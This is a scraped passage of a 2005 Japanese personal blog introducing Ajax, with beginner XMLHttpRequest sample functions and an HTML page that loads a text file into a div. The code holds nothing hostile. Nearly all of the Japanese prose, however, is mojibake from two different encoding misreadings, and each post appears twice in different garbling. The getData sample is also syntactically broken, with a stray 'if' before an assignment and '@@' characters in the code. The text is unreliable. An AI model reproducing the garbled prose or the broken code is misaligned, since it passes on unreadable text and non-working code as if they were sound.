return new ActiveXObject("Microsoft.XMLHTTP");
} catch (ex) {
alert("createXMLHttpRequest : IE Create Error");
}
// for Not IE
} else if (window.XMLHttpRequest) {
try {
return new XMLHttpRequest();
} catch (ex) {
alert("createXMLHttpRequest : Not IE Create Error");
}
} else {
alert("createXMLHttpRequest : No Object");
return null;
}
}
// XMLHttpRequestå—ä¿¡çµæžœåæ˜ é–¢æ•°
function dispData(obj) {
displayArea.innerHTML = obj.responseText;
}
// -->
</script>
</head>
<body>
<form>
<input type="text" value="File A"
onMousemove="mainXMLHttpRequest('','GET', 'testA.txt', true
,dispData); return false;">
<input type="text" value="File B"
onMousemove="mainXMLHttpRequest('','GET', 'testB.txt', true
, dispData); return false;">
<input type="text" value="File C"
onMousemove="mainXMLHttpRequest('','GET', 'testC.txt', true
, dispData); return false;">
<input type="text" value="File Clear"
onMousemove="mainXMLHttpRequest('','GET', 'testClear.txt', true
, dispData); return false;">
</form>
<hr>
<div id="displayArea"><p>
テã‚ストボックスã®ä¸Šã«ãƒžã‚¦ã‚¹ã‚’ä¹—ã›ã‚‹ã¨ã€
ã“ã“ã«ã‚µãƒ¼ãƒã®ãƒ†ã‚ストãŒè¡¨ç¤ºã•れã¾ã™ã€‚
</p></div>
</body>
</html>
</pre>
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 12:09</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/webajax.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000069"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/65"
dc:title="Web‚ÌV‚µ‚¢•—@Ajax‚ðŽg‚Á‚Ă݂é"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000069"
dc:subject="ƒVƒXƒeƒ€ŠJ”"
dc:description="WebÃöÊ〓[ÖÇÓ〓Ж〓¢〓ª〓©ª〓©H Part2:Ύ〓〓 uW¨〓@〓..."
dc:creator="expss"
dc:date="2005-08-11T15:19:07+09:00" />
</rdf:RDF>
-->
<h2 class="date-header">2005年08月11日</h2>
<a id="a000069"></a>
<div class="entry" id="entry-69">
<h3 class="entry-header">Web‚ÌV‚µ‚¢•—@Ajax‚ðŽg‚Á‚Ă݂é</h3>
<div class="entry-content">
<div class="entry-body">
<span style=font-size:medium>WebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚ÉV‚µ‚¢“¹‚ª‘ñ‚©‚ꂽ‚©H</span>
Part2:ŽŽ—p•Ò
<a href="http://www.atmarkit.co.jp/fwcr/special/ajax01/01.html" target="_blank">u—‚h‚s@ŒÃ‚‚ÄV‚µ‚¢Ajax‚Ì^ŽÀ‚ðŒ©‹É‚ß‚év</a>‚ð“Ç‚ñ‚Å
¡‘S‘ÌŽè‡
Ajax(Asynchronous JavaScript and XM)‚ÍA‚»‚Ì–¼‚Ì’Ê‚è JacaScript‚ÆXML‚©‚笂藧‚Á‚Ä‚¢‚éB
JavaScrippt‚Å XMLHttpRequest‚ð쬂µAƒT[ƒo‚Ƃ̒ÊM‚ðs‚¢AŽæ“¾‚µ‚½ƒf[ƒ^‚ðJavaScript‚ÅHTML‚É”½‰f‚·‚éB
¡Ajax—˜—pŽè‡‚P
XMLHttpRequestƒIƒuƒWƒFƒNƒg‚ð쬂·‚éB
‚Ƃ͂¢‚¦ƒvƒ‰ƒOƒCƒ“‚̃_ƒEƒ“ƒ[ƒh‚âƒCƒ“ƒXƒg[ƒ‹‚Í•K—v‚È‚¢B
‚µ‚©‚µA‚µ–ï‰î‚È‚±‚Æ‚ÉAXMLHttpRequestƒIƒuƒWƒFƒNƒg‚ÍIE‚Æ‚»‚Ì‘¼‚̃uƒ‰ƒEƒU‚Å쬕û–@‚ªˆÙ‚È‚Á‚Ä‚¢‚éB
(ˆÈ‰º‚Ì“à—e‚ɂ‚¢‚Ä‚Í<a href="http://web.paulownia.jp/script/ajax/xmlhttp2.html" target="_blank">http://web.paulownia.jp/script/ajax/xmlhttp2.html</a>‚ðŽQÆ)
‚Ü‚½AXMLHttpRequestƒIƒuƒWƒFƒNƒg‚ÍAIE4,5‚ÌŽž‘ã‚©‚çActiveX‚Æ‚µ‚Ä’ñ‹Ÿ‚³‚ê‚Ä‚¢‚½‚炵‚AIE‚̃o[ƒWƒ‡ƒ“‚É‚æ‚Á‚ăIƒuƒWƒFƒNƒg‚̈Ⴂ‚ª‚ ‚邯‚Ì‚±‚ÆB‚Ü‚½–ï‰î‚¾‚ÆŽv‚Á‚Ä‚¢‚½‚çAnew ActiveXObject("Microsoft.XMLHTTP")@‚ÅIE‚̃o[ƒWƒ‡ƒ“‚ÉŠÖŒW‚Ȃ쬂ł«‚é‚炵‚¢B
]‚Á‚ÄAIE‚Æ‚»‚êˆÈŠO‚̃uƒ‰ƒEƒU‚Ì“ñ’Ê‚è‚Ì쬕û–@‚ðŽÀ‘•‚·‚éB
XMLHttpRequestƒIƒuƒWƒFƒNƒg쬊֔
function createAjax(){
// IE—p
if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
// IEˆÈŠO
} else if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else {
return null;
}
}
¡Ajax—˜—pŽè‡‚Q
ƒT[ƒo‚Æ’ÊM‚µ‚ăf[ƒ^‚ðŽæ“¾‚·‚郃Cƒ“ŠÖ”‚ðì‚éB
ˆø”‚ÅŽw’肳‚ꂽƒT[ƒoã‚̃tƒ@ƒCƒ‹‚Ì“à—e‚ðŽæ“¾‚µAƒy[ƒW‚Ì•\ަƒGƒŠƒA‚Ì’†g‚ð•ÏX‚·‚éB
XMLHttpRequestƒIƒuƒWƒFƒNƒg–¼‚Í@objAjax
•\ަƒGƒŠƒA‚Í displayArea
XMLHttpRequestƒƒCƒ“ŠÖ”
function getData(serverURL) {
xmlhttp.open("GET", serverURL);
@@if xmlhttp.onreadystatechange = function() {
@@ if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
@@ displayArea.innerHTML = xmlhttp.responseText;
@@}
}
@@xmlhttp.send(null);
}
¡Ajax—˜—pŽè‡‚R
XMLHttpRequestƒIƒuƒWƒFƒNƒg‚©‚ç“ǂݞ‚Ýó‘Ô‚ª•ω»‚µ‚½‚Æ‚«ionreadystatechange j‚ɌĂ΂ê‚éŠÖ”‚Æ’ÊMŠ®—¹Žž‚ÉŒ‹‰Ê‚𔽉f‚·‚éŠÖ”‚ðì‚é
XMLHttpRequestƒIƒuƒWƒFƒNƒg‚̃Xƒe[ƒ^ƒX
4@‚œǂݞ‚ÝŠ®—¹
200 ‚Ńtƒ@ƒCƒ‹‚Ì³íŽæ“¾
ŠÖ”“à‚Åã‹LƒXƒe[ƒ^ƒX‚ðƒ`ƒFƒbƒN‚µ‚ÄA‚±‚Ì2‚‚ÌðŒ‚ð‚ð–ž‚½‚µ‚½ê‡‚ÉHTML‚É”½‰f
//XMLHttpRequest’ÊMó‘ÔŠÄŽ‹•Œ‹‰Ê”½‰fŠÖ”
function finishAjax() {
if ( objAjax.readyState == 4 && objAjax.status == 200) {
@@displayArea.innerHTML = objAjax.responseText;
}
}
¡Ajax—˜—pŽè‡‚S
Ajax‚ðŽg‚¤HTML‚ðì¬
ƒy[ƒW‚É‚ÍAAjax‚ðŽÀs‚·‚邽‚߂̃{ƒ^ƒ“‚ª1‚Â
onClickƒCƒxƒ“ƒg‚ÅJavaScript‚ÌXMLHttpRequest’ÊM•Œ‹‰Ê”½‰fŠÖ”‚ðŒÄ‚Ô
¡ÅI“I‚Éo—ˆ‚ ‚ª‚Á‚½ŠÈ’PŠÈ‘fAJaxHTML
<html>
<head>
<title>Ajax Simple Sample</title>
<script language="javascript">
<!--
//XMLHttpRequestƒƒCƒ“ŠÖ”
function mainAjax(serverURL) {
objAjax = createAjax();
objAjax.open("GET", serverURL);
@ objAjax.onreadystatechange = finishAjax;
@@objAjax.send(null);
}
// XMLHttpRequestƒIƒuƒWƒFƒNƒg쬊֔
function createAjax(){
// IE—p
if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
// IEˆÈŠO
} else if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else {
return null;
}
}
//XMLHttpRequest’ÊMó‘ÔŠÄŽ‹•Œ‹‰Ê”½‰fŠÖ”
function finishAjax() {
if ( objAjax.readyState == 4 && objAjax.status == 200) {
@@displayArea.innerHTML = objAjax.responseText;
}
}
// -->
</script>
</head>
<body>
<form>
<input type=button value="XMLHttpRequest’ÊM•Œ‹‰Ê”½‰f" onClick="mainAjax('test.txt'); return false;">
</form>
<hr>
<div id="displayArea"><p>ƒ{ƒ^ƒ“‚ð‰Ÿ‚·‚Æ‚±‚̃eƒLƒXƒg‚ª‘‚«Š·‚í‚è‚Ü‚·B</p></div>
</body>
</html>
<a href="http://www.isl.ne.jp/privacy/ajax.html" target="_blank">Ajax Simple Sample</a>
¡ƒTƒ“ƒvƒ‹‚ðì‚Á‚Ă݂½Žž“_‚ÌAjax‚Ö‚ÌŠ´‘z
ŠÈ’P‚É—˜—p‚Å‚«‚é@¨@JavaScript‚Í”äŠr“IŠÈ’P‚É‘‚¯‚é
Ž‘—¿‚ƂȂéƒTƒCƒg‚ªŽv‚Á‚½‚æ‚è‚È‚¢@¨@XMLHttpRequest‚ð—‰ð‚·‚é•K—v‚ª‚ ‚邪AŽQl‚ɂȂéƒTƒCƒg‚ª‚È‚¢
•¶ŽšƒR[ƒh‚âMIMEƒ^ƒCƒv‚̈µ‚¢‚ª‘å•Ï@¨@ŽÀ‚̓Tƒ“ƒvƒ‹‚àŠ¿ŽšƒR[ƒh‚ɂ͑Ήž‚µ‚Ä‚¢‚È‚¢
OnClick‚ł̎擾‚¾‚Æ@Ajax‚Ì‚ ‚肪‚½‚Ý‚ª•ª‚©‚è‚É‚‚¢BŽü‚è‚ÉŒ©‚¹‚Ä‚àAƒCƒ}ƒCƒ`”½‰ž‚ª‚È‚¢BŽžŠÔ‚ª‚ ‚Á‚½‚çA“ü—Í’l‚ɑΉž‚µ‚Ä’ÊM‚ð‚·‚é‚æ‚¤‚ÈŒ©–{‚ðì‚è‚Ü‚·B¡“ú‚Í‚±‚±‚Ü‚ÅB
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 15:19</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/webvajaxg.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000184"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/179"
dc:title="Webã®æ–°ã—ã„風 Ajaxを使ã£ã¦ã¿ã‚‹"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000184"
dc:subject="システム開発"
dc:description="Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒæ‹“ã‹ã‚ŒãŸã‹ï¼Ÿ Part2:試用編 ã€Œï¼ ï¼©ï¼´ã€€å¤..."
dc:creator="expss"
dc:date="2005-08-11T15:19:07+09:00" />
</rdf:RDF>
-->
<a id="a000184"></a>
<div class="entry" id="entry-184">
<h3 class="entry-header">Webã®æ–°ã—ã„風 Ajaxを使ã£ã¦ã¿ã‚‹</h3>
<div class="entry-content">
<div class="entry-body">
<span style=font-size:medium>Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒæ‹“ã‹ã‚ŒãŸã‹ï¼Ÿ</span>
Part2:試用編
<a href="http://www.atmarkit.co.jp/fwcr/special/ajax01/01.html" target="_blank">ã€Œï¼ ï¼©ï¼´ã€€å¤ãã¦æ–°ã—ã„Ajaxã®çœŸå®Ÿã‚’見極ã‚ã‚‹ã€</a>ã‚’èªã‚“ã§
â– å…¨ä½“æ‰‹é †
Ajax(Asynchronous JavaScript and XM)ã¯ã€ãã®åã®é€šã‚Š JacaScriptã¨XMLã‹ã‚‰æˆã‚Šç«‹ã£ã¦ã„る。
JavaScripptã§ XMLHttpRequestを作æˆã—ã€ã‚µãƒ¼ãƒã¨ã®é€šä¿¡ã‚’行ã„ã€å–å¾—ã—ãŸãƒ‡ãƒ¼ã‚¿ã‚’JavaScriptã§HTMLã«åæ˜ ã™ã‚‹ã€‚
â– Ajaxåˆ©ç”¨æ‰‹é †ï¼‘
XMLHttpRequestオブジェクトを作æˆã™ã‚‹ã€‚
ã¨ã¯ã„ãˆãƒ—ラグインã®ãƒ€ã‚¦ãƒ³ãƒãƒ¼ãƒ‰ã‚„インストールã¯å¿…è¦ãªã„。
ã—ã‹ã—ã€å°‘ã—厄介ãªã“ã¨ã«ã€XMLHttpRequestオブジェクトã¯IEã¨ãã®ä»–ã®ãƒ–ラウザã§ä½œæˆæ–¹æ³•ãŒç•°ãªã£ã¦ã„る。
(以下ã®å†…容ã«ã¤ã„ã¦ã¯<a href="http://web.paulownia.jp/script/ajax/xmlhttp2.html" target="_blank">http://web.paulownia.jp/script/ajax/xmlhttp2.html</a>ã‚’å‚ç…§)
ã¾ãŸã€XMLHttpRequestオブジェクトã¯ã€IE4,5ã®æ™‚代ã‹ã‚‰ActiveXã¨ã—ã¦æä¾›ã•れã¦ã„ãŸã‚‰ã—ãã€IEã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã‚ˆã£ã¦ã‚ªãƒ–ジェクトã®é•ã„ãŒã‚ã‚‹ã¨ã®ã“ã¨ã€‚ã¾ãŸåބ介ã ã¨æ€ã£ã¦ã„ãŸã‚‰ã€new ActiveXObject("Microsoft.XMLHTTP") ã§IEã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«é–¢ä¿‚ãªã作æˆã§ãるらã—ã„。
従ã£ã¦ã€IEã¨ãれ以外ã®ãƒ–ラウザã®äºŒé€šã‚Šã®ä½œæˆæ–¹æ³•を実装ã™ã‚‹ã€‚
XMLHttpRequestオブジェクト作æˆé–¢æ•°
function createAjax(){
// IE用
if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
// IE以外
} else if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else {
return null;
}
}
â– Ajaxåˆ©ç”¨æ‰‹é †ï¼’
サーãƒã¨é€šä¿¡ã—ã¦ãƒ‡ãƒ¼ã‚¿ã‚’å–å¾—ã™ã‚‹ãƒ¡ã‚¤ãƒ³é–¢æ•°ã‚’作る。
å¼•æ•°ã§æŒ‡å®šã•れãŸã‚µãƒ¼ãƒä¸Šã®ãƒ•ァイルã®å†…容をå–å¾—ã—ã€ãƒšãƒ¼ã‚¸ã®è¡¨ç¤ºã‚¨ãƒªã‚¢ã®ä¸èº«ã‚’変更ã™ã‚‹ã€‚
XMLHttpRequestオブジェクトåã¯ã€€objAjax
表示エリア㯠displayArea
XMLHttpRequestメイン関数
function getData(serverURL) {
xmlhttp.open("GET", serverURL);
  if xmlhttp.onreadystatechange = function() {
   if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
   displayArea.innerHTML = xmlhttp.responseText;
  }
}
  xmlhttp.send(null);
}
â– Ajaxåˆ©ç”¨æ‰‹é †ï¼“
XMLHttpRequestオブジェクトã‹ã‚‰èªã¿è¾¼ã¿çŠ¶æ…‹ãŒå¤‰åŒ–ã—ãŸã¨ã(onreadystatechange )ã«å‘¼ã°ã‚Œã‚‹é–¢æ•°ã¨é€šä¿¡å®Œäº†æ™‚ã«çµæžœã‚’åæ˜ ã™ã‚‹é–¢æ•°ã‚’作る
XMLHttpRequestオブジェクトã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹
4 ã§èªã¿è¾¼ã¿å®Œäº†
200 ã§ãƒ•ã‚¡ã‚¤ãƒ«ã®æ£å¸¸å–å¾—
関数内ã§ä¸Šè¨˜ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¦ã€ã“ã®2ã¤ã®æ¡ä»¶ã‚’を満ãŸã—ãŸå ´åˆã«HTMLã«åæ˜
//XMLHttpRequesté€šä¿¡çŠ¶æ…‹ç›£è¦–ï¼†çµæžœåæ˜ é–¢æ•°
function finishAjax() {
if ( objAjax.readyState == 4 && objAjax.status == 200) {
  displayArea.innerHTML = objAjax.responseText;
}
}
â– Ajaxåˆ©ç”¨æ‰‹é †ï¼”
Ajaxを使ã†HTMLを作æˆ
ページã«ã¯ã€Ajaxを実行ã™ã‚‹ãŸã‚ã®ãƒœã‚¿ãƒ³ãŒ1ã¤
onClickイベントã§JavaScriptã®XMLHttpRequesté€šä¿¡ï¼†çµæžœåæ˜ é–¢æ•°ã‚’å‘¼ã¶
■最終的ã«å‡ºæ¥ã‚ãŒã£ãŸç°¡å˜ç°¡ç´ AJaxHTML
<html>
<head>
<title>Ajax Simple Sample</title>
<script language="javascript">
<!--
//XMLHttpRequestメイン関数
function mainAjax(serverURL) {
objAjax = createAjax();
objAjax.open("GET", serverURL);
  objAjax.onreadystatechange = finishAjax;
  objAjax.send(null);
}
// XMLHttpRequestオブジェクト作æˆé–¢æ•°
function createAjax(){
// IE用
if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
// IE以外
} else if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else {
return null;
}
}
//XMLHttpRequesté€šä¿¡çŠ¶æ…‹ç›£è¦–ï¼†çµæžœåæ˜ é–¢æ•°
function finishAjax() {
if ( objAjax.readyState == 4 && objAjax.status == 200) {
  displayArea.innerHTML = objAjax.responseText;
}
}
// -->
</script>
</head>
<body>
<form>
<input type=button value="XMLHttpRequesté€šä¿¡ï¼†çµæžœåæ˜ " onClick="mainAjax('test.txt'); return false;">
</form>
<hr>
<div id="displayArea"><p>ボタンを押ã™ã¨ã“ã®ãƒ†ã‚ã‚¹ãƒˆãŒæ›¸ãæ›ã‚りã¾ã™ã€‚</p></div>
</body>
</html>
<a href="http://www.isl.ne.jp/privacy/ajax.html" target="_blank">Ajax Simple Sample</a>
■サンプルを作ã£ã¦ã¿ãŸæ™‚点ã®Ajaxã¸ã®æ„Ÿæƒ³
ç°¡å˜ã«åˆ©ç”¨ã§ãる → JavaScriptã¯æ¯”較的簡å˜ã«æ›¸ã‘ã‚‹
資料ã¨ãªã‚‹ã‚µã‚¤ãƒˆãŒæ€ã£ãŸã‚ˆã‚Šå°‘ãªã„ → XMLHttpRequestã‚’ç†è§£ã™ã‚‹å¿…è¦ãŒã‚ã‚‹ãŒã€å‚考ã«ãªã‚‹ã‚µã‚¤ãƒˆãŒå°‘ãªã„
æ–‡å—コードやMIMEã‚¿ã‚¤ãƒ—ã®æ‰±ã„ãŒå¤§å¤‰ã€€â†’ 実ã¯ã‚µãƒ³ãƒ—ルも漢å—コードã«ã¯å¯¾å¿œã—ã¦ã„ãªã„
OnClickã§ã®å–å¾—ã ã¨ã€€Ajaxã®ã‚りãŒãŸã¿ãŒåˆ†ã‹ã‚Šã«ãã„。周りã«è¦‹ã›ã¦ã‚‚ã€ã‚¤ãƒžã‚¤ãƒå応ãŒå°‘ãªã„。時間ãŒã‚ã£ãŸã‚‰ã€å…¥åЛ値ã«å¯¾å¿œã—ã¦é€šä¿¡ã‚’ã™ã‚‹ã‚ˆã†ãªè¦‹æœ¬ã‚’作りã¾ã™ã€‚今日ã¯ã“ã“ã¾ã§ã€‚
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 15:19</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/webajax.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000068"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/64"
dc:title="Web‚ÌV‚µ‚¢•—@Ajax‚Æ‚Í"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000068"
dc:subject="ƒVƒXƒeƒ€ŠJ”"
dc:description="WebÃöÊ〓[ÖÇÓ〓Ж〓¢〓ª〓©ª〓©H Part1:〓〓〓 uW¨〓@〓..."
dc:creator="expss"
dc:date="2005-08-10T19:37:35+09:00" />
</rdf:RDF>
-->
<h2 class="date-header">2005年08月10日</h2>
<a id="a000068"></a>
<div class="entry" id="entry-68">
<h3 class="entry-header">Web‚ÌV‚µ‚¢•—@Ajax‚Æ‚Í</h3>
<div class="entry-content">
<div class="entry-body">
<span style=font-size:medium>WebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚ÉV‚µ‚¢“¹‚ª‘ñ‚©‚ꂽ‚©H</span>
Part1:—˜_•Ò
<a href="http://www.atmarkit.co.jp/fwcr/special/ajax01/01.html" target="_blank">u—‚h‚s@ŒÃ‚‚ÄV‚µ‚¢Ajax‚Ì^ŽÀ‚ðŒ©‹É‚ß‚év</a>‚ð“Ç‚ñ‚Å
¡Ajax‚Æ‚Í
Ajax‚Æ‚ÍAAsynchronous JavaScript and XML@‚Ì—ª‚ÅAu‚¦‚¢‚¶‚á‚Á‚‚·v‚ƌĂԂ炵‚¢B’¼–ó‚·‚ê‚ÎA”ñ“¯Šú‚ȃWƒƒƒoƒXƒNƒŠƒvƒg‚Æ‚w‚l‚kH
•W‹Lƒy[ƒW‚É‚æ‚ê‚ÎAŠÈ’P‚ÉŒ¾‚¤‚ÆA
@uJavaScript‚ƃ_ƒCƒiƒ~ƒbƒNHTML‚ðŽg‚Á‚Ä”ñ“¯Šú‚ɃT[ƒo‚Æ’ÊM‚·‚éƒAƒvƒŠƒP[ƒVƒ‡ƒ“v
‚à‚¤‚µÚ‚µ‚‚ÍA
@uAjax‚Æ‚ÍAJavaScript‚ÅXMLHttpRequestƒIƒuƒWƒFƒNƒg‚ð—˜—p‚µ‚ÄAƒy[ƒW‘S‘̂̓ǂݞ‚݂Ƃ͔ñ“¯Šú‚ɃT[ƒo‚Æ’ÊM‚µAƒ_ƒCƒiƒ~ƒbƒNHTML‚ð—˜—p‚µ‚ăy[ƒW‚Ì•K—v‚È•”•ª‚¾‚¯‚ð‘‚«Š·‚¦‚éWebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚ÌŠJ”Žè–@‚ðŽw‚·Bv
¡Ajax‚ÍWebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚Ì‹ƒ‚«Š‚ð‰ðÁ‚·‚é‚©H
WebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚Ì‹ƒ‚«Š‚Æ‚ÍA“®“I‚ȃy[ƒW‚Å•\ަ“à—e‚ð‘‚«Š·‚¦‚邽‚߂ɃT[ƒo‚Ƃ̒ÊM‚ª•K—v‚ƂȂé“_B
‚‚܂èA—X•Ö”Ô†‚©‚çZŠ‚ð•\ަ‚·‚éWebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚ª‚ ‚邯‚·‚邯A’Êí‚̈—‚ł͉º‹L‚̂悤‚ɂȂéB
@—X•Ö”Ô†“ü—Í@¨@“ü—Í‚³‚ꂽ—X•Ö”Ô†‚ðƒT[ƒo‚É‘—M@¨@ƒT[ƒo‚ł͑Ήž‚·‚éZŠ‚ðŽæ“¾@¨@Žæ“¾‚µ‚½ZŠ‚ðݒ肵‚ăy[ƒW‚ðXV
‘€ì‚·‚鑤‚©‚猩‚邯A—X•Ö”Ô†‚ð“ü—Í‚µ‚½ŒãA‘—Mƒ{ƒ^ƒ“‚ð‰Ÿ‚µ‚ÄAƒXƒe[ƒ^ƒXƒo[‚ðŒ©‚È‚ª‚çAƒT[ƒo‚©‚çV‚µ‚¢ƒy[ƒW‚ª•Ô‚Á‚Ä‚‚é‚Ì‚ð‘҂•K—v‚ª‚ ‚Á‚½B
¡Ajax‚Æ]—ˆ‚ÌƒŠƒbƒ`ƒNƒ‰ƒCƒAƒ“ƒg‚Ƃ̈Ⴂ
WebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚Ì‹ƒ‚«Š‚ð‰ðÁ‚·‚邽‚ß‚ÉA‚±‚ê‚Ü‚Å@Curl,MacromediaFlex‚È‚Ç‚ÌƒŠƒbƒ`ƒNƒ‰ƒCƒAƒ“ƒg‚Æ‚¢‚¤‰ðŒˆô‚ªu‚¶‚ç‚ê‚Ä‚«‚½B‚Æ‚±‚낪A‚±‚ÌƒŠƒbƒ`ƒNƒ‰ƒCƒAƒ“ƒg‚ðŽg‚¤‚É‚ÍA“Á’è‚̃\ƒtƒgƒEƒFƒA‚âƒvƒ‰ƒOƒCƒ“‚̃Cƒ“ƒXƒg[ƒ‹‚ª•K—v‚ƂȂèAŠÂ‹«‚Ɉˑ¶‚µ‚È‚¢iorˆË‘¶“x‚ª‚È‚¢j‚Æ‚¢‚¤AWebƒAƒvƒŠƒP[ƒVƒ‡ƒ“–{—ˆ‚̃ƒŠƒbƒg‚ð’ Á‚µ‚É‚µ‚©‚˂Ȃ¢‚à‚Ì‚¾‚Á‚½B
Ajax‚̓vƒ‰ƒOƒCƒ“‚ð•K—v‚Æ‚¹‚¸‚ÉAƒT[ƒo‚Ƃ̔ñ“¯Šú’ÊM‚ðŽÀŒ»‚µ‚Ä‚¢‚éB‚±‚ê‚ͦ‚¢‚±‚Ƃł·BWebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚ÉV‚µ‚¢“¹‚ªŠJ‚¯‚Ä‚«‚½‚©‚à‚µ‚ê‚È‚¢B
¡Ajax‚ÌŽÀ—á
Ajax‚ª’–Ú‚ðW‚ß‚é—vˆö‚ƂȂÁ‚½ Google@‚ÌVƒT[ƒrƒX‚Å Ajax‚ð‘ÌŒ±‚·‚éB
@Google Suggest <a href="http://www.google.co.jp/webhp?complete=1&hl=ja" target="_blank">GoogleƒTƒWƒFƒXƒg</a>
@“ü—Í‚µ‚½ƒL[ƒ[ƒh‚ɑΉž‚·‚éƒL[ƒ[ƒh‚ªƒvƒ‹ƒ_ƒEƒ“•\ަ‚³‚ê‚Ü‚·B
@¨“ü—Í‚µ‚½’l‚ðŒ³‚ÉƒT[ƒo‚Ƃ̒ÊM‚ðs‚¢AŒ‹‰Ê‚ð‚Ù‚ÚƒŠƒAƒ‹ƒ^ƒCƒ€‚É”½‰f‚µ‚Ä‚¢‚é@‚Æ‚¢‚¤‚±‚ÆB
@Google Maps <a href="http://maps.google.com/maps" target="_blank">Google Maps</a>
@ˆÚ“®‚·‚邯ƒV[ƒ€ƒŒƒX‚É’n}‚ª•\ަ‚³‚ê‚éB
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 19:37</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/webvajax.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000183"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/178"
dc:title="Webã®æ–°ã—ã„風 Ajaxã¨ã¯"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000183"
dc:subject="システム開発"
dc:description="Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒæ‹“ã‹ã‚ŒãŸã‹ï¼Ÿ Part1:ç†è«–ç·¨ ã€Œï¼ ï¼©ï¼´ã€€å¤..."
dc:creator="expss"
dc:date="2005-08-10T19:37:35+09:00" />
</rdf:RDF>
-->
<a id="a000183"></a>
<div class="entry" id="entry-183">
<h3 class="entry-header">Webã®æ–°ã—ã„風 Ajaxã¨ã¯</h3>
<div class="entry-content">
<div class="entry-body">
<span style=font-size:medium>Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒæ‹“ã‹ã‚ŒãŸã‹ï¼Ÿ</span>
Part1:ç†è«–ç·¨
<a href="http://www.atmarkit.co.jp/fwcr/special/ajax01/01.html" target="_blank">ã€Œï¼ ï¼©ï¼´ã€€å¤ãã¦æ–°ã—ã„Ajaxã®çœŸå®Ÿã‚’見極ã‚ã‚‹ã€</a>ã‚’èªã‚“ã§
â– Ajaxã¨ã¯
Ajaxã¨ã¯ã€Asynchronous JavaScript and XML ã®ç•¥ã§ã€ã€Œãˆã„ã˜ã‚ƒã£ãã™ã€ã¨å‘¼ã¶ã‚‰ã—ã„。直訳ã™ã‚Œã°ã€éžåŒæœŸãªã‚¸ãƒ£ãƒã‚¹ã‚¯ãƒªãƒ—トã¨ï¼¸ï¼ï¼¬ï¼Ÿ
標記ページã«ã‚ˆã‚Œã°ã€ç°¡å˜ã«è¨€ã†ã¨ã€
 「JavaScriptã¨ãƒ€ã‚¤ãƒŠãƒŸãƒƒã‚¯HTMLを使ã£ã¦éžåŒæœŸã«ã‚µãƒ¼ãƒã¨é€šä¿¡ã™ã‚‹ã‚¢ãƒ—リケーションã€
